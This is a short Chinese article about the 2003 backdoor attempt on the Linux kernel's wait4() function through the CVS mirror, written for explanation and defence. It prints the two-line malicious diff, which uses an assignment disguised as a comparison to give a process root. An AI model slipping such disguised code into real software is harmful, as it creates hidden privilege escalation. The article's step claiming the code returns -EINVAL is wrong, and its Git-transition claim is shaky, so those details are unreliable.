## Linux 内核中的后门:wait4() 漏洞如何差点授予 root 权限
2003 年,Linux 开发者在 CVS 仓库中发现了一个未经授权的更改。一段可疑的代码片段被插入到 wait4() 函数中,可能授予任何用户 root 权限。此更改在主要的 BitKeeper 仓库中没有任何痕迹,直接指向 CVS 仓库遭到了入侵。
乍一看,这段代码似乎无害:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
问题隐藏在 = 操作符中。它不是使用 == 进行比较,而是赋值操作,将 current->uid 设置为 0(root),适用于任何带有 __WCLONE 和 __WALL 标志的 wait4() 调用。这开辟了一条无需额外检查的特权提升路径。
仓库历史与漏洞入口
在那段日子里,Linux 并行使用两个仓库:
- BitKeeper —— 内核的主要现代版本控制系统。
- CVS —— 用于旧工具和老派开发者的遗留仓库。
同步是手动进行的:BitKeeper 的更改连同标签一起复制到 CVS。攻击者专门针对 CVS,下手时悄无声息。由于缺少自动化检查以及两个仓库面向不同受众,此漏洞得以溜进来。
开发者在例行审查中发现了异常:CVS 中有一个提交,但 BitKeeper 中没有对应项。版本对比揭示了恶意代码。
漏洞的技术剖析
wait4() 函数用于等待子进程结束,并支持扩展选项。__WCLONE 和 __WALL 标志用于跟踪克隆进程和所有进程。
攻击逻辑很简单:
- 用户调用
wait4(options = __WCLONE | __WALL)。 - 条件
current->uid = 0将 UID 赋值为 0(root)。 - 返回
-EINVAL,掩盖了成功。 - 后续系统调用以 root 身份运行。
这是一个零日后门:无需利用,即可通过标准调用激活。在 C 语言中,类似的失误(= 代替 ==)是漏洞的常见来源。
对现代开发的启示
此次事件凸显了遗留系统的风险。当今实践已将此类威胁降到最低:
- 单一仓库:使用分支和拉取请求的 Git。
- CI/CD 与检查:自动化差异对比、静态分析(Coverity、Clang)。
- 提交签名:用于认证的 GPG/PGP。
- 签名标签:发布保护。
- 模糊测试与审计:对系统调用的持续测试。
Linux 内核如今强制要求代码审查和针对这些模式的自动化测试。
关键要点
wait4()中=代替==的错误为任何用户创建了 root 后门。- 黑客通过 CVS 得手,而 BitKeeper 保持干净。
- 2003 年的手动仓库同步是薄弱环节。
- 此事件加速了内核开发向 Git 的转变。
- 双重检查 if 语句中的条件:编译器并不总是能捕获赋值操作。
— Editorial Team
暂无评论。